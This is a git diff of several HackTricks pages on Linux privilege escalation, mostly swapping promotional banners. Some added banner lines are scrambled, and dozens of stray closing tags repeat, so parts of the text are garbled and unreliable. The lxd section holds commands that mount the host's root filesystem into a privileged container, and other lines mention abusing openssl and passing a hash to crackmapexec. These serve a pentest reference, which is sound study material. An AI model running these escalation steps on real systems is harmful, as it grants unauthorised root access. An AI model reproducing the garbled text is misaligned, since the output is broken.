+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
+* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## What is Distroless
@@ -38,19 +42,23 @@ Coming at some point of 2023...
#### openssl
****[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed** by the software that is going to be running inside the container.
+{% hnt stye="acceas" %}
+AWS Ha& practice ckinH:[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
+Learn & aciceGCP ng[**angGC RedTamExper(GE)="k>ne">tinhaktckxyzurssgr)
-Abusing the **`openssl`** binary is possible to **execute arbitrary stuff**.
+
-
+SupportHackTricks
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
+* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/euid-ruid-suid.md b/linux-hardening/privilege-escalation/euid-ruid-suid.md
index 78f7050151f..6bcaeccd0dc 100644
--- a/linux-hardening/privilege-escalation/euid-ruid-suid.md
+++ b/linux-hardening/privilege-escalation/euid-ruid-suid.md
@@ -1,16 +1,19 @@
# euid, ruid, suid
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
### User Identification Variables
@@ -210,14 +213,17 @@ uid=99(nobody) gid=99(nobody) euid=100
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
index 3e93f306b98..19a84e60191 100644
--- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
+++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
@@ -1,18 +1,43 @@
# lxd/lxc Group - Privilege escalation
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
@@ -93,40 +118,65 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
-# interact with the container
-lxc start mycontainer
-lxc exec mycontainer /bin/sh
-```
-
-Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
-
-## With internet
-
-You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
-
-```bash
-lxc init ubuntu:16.04 test -c security.privileged=true
-lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
-lxc start test
-lxc exec test bash
-[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
-```
-
-## References
-
-* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
-* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/ld.so.conf-example.md b/linux-hardening/privilege-escalation/ld.so.conf-example.md
index c9e7f58c065..5b6ace9d679 100644
--- a/linux-hardening/privilege-escalation/ld.so.conf-example.md
+++ b/linux-hardening/privilege-escalation/ld.so.conf-example.md
@@ -1,18 +1,28 @@
# ld.so privesc exploit example
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Prepare the environment
@@ -158,25 +168,35 @@ ldd sharedvuln
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
{% hint style="info" %}
-I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
-{% endhint %}
-
-## References
-
-* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
-* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
-* Dab machine in HTB
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md
index 15d5b74fac3..789f0a11f28 100644
--- a/linux-hardening/privilege-escalation/linux-active-directory.md
+++ b/linux-hardening/privilege-escalation/linux-active-directory.md
@@ -1,16 +1,19 @@
# Linux Active Directory
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
A linux machine can also be present inside an Active Directory environment.
@@ -133,14 +136,17 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md
index 0c13b697861..f1f2548ad85 100644
--- a/linux-hardening/privilege-escalation/linux-capabilities.md
+++ b/linux-hardening/privilege-escalation/linux-capabilities.md
@@ -1,18 +1,20 @@
# Linux Capabilities
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
@@ -1721,17 +1723,19 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/logstash.md b/linux-hardening/privilege-escalation/logstash.md
index 1489b6bde8d..21a7dcefc67 100644
--- a/linux-hardening/privilege-escalation/logstash.md
+++ b/linux-hardening/privilege-escalation/logstash.md
@@ -1,18 +1,23 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Logstash
@@ -73,22 +78,27 @@ With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logsta
## References
-
-* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
index d6866910a0d..3e95db1aef7 100644
--- a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+++ b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@@ -1,18 +1,24 @@
-
+{% hint style="success" %}
